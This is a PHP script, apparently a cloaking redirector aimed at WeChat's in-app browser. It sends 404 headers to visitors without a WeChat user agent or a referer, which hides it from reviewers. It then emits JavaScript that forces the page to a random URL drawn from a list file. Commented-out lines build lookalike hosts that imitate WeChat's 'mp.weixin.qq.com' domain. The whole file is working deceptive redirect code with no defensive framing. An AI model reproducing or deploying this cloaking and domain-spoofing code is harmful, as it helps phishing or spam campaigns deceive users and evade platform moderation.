<?php
  error_reporting(0);
  if(!strstr($_SERVER['HTTP_USER_AGENT'],"MicroMessenger")) 
  { 
   header('HTTP/1.1 404 Not Found');
     header("status: 404 Not Found"); 
  }

  $ursss= $_SERVER["HTTP_REFERER"]; 
  if($ursss=="")  { 
   header('HTTP/1.1 404 Not Found');
     header("status: 404 Not Found"); 
  }
  
  function getRandChar($length){
   $str = null;
   $strPol = "0123456789abcdefghijklmnopqrstuvwxyz";
   $max = strlen($strPol)-1;

   for($i=0;$i<$length;$i++){
    $str.=$strPol[rand(0,$max)];//rand($min,$max)生成介于min和max两个数之间的一个随机整数
   }

   return $str;
  } 
   $jss=getRandChar(25);
    $file = '../url.txt';
    //$file = '../ad.txt'; 
    $content =  @file_get_contents($file); 
    $share = explode("\r\n", $content); 
    $useShare = $share[rand(0, count($share) - 1)];
    //$useShare = 'http://mp.weixin.qq.com.m.'.$useShare.'/ad.html';
    //$useShare= 'http://mp.weixin.qq.com.m.huayusf.com/vfx/sp'.$jss.'.asp';
if($_GET['type']==1) {
echo <<<Eof
document.title = 'loading...';
   var ua = navigator.userAgent;
if (ua.indexOf("MicroMessenger") > 0) {
    var noreferrer = false;
    try { document.getElementsByTagName("body")[0].outerHTML = "<center>Loading...</center>"; } catch (e) {};
    if (top != window || !document.body){
        top.location.href = '{$useShare}';
    }
    else{
        var a=document.createElement('a');a.href='{$useShare}';if(noreferrer) a.rel='noreferrer';a.click();
    }
};
Eof;
exit;
}
    
?>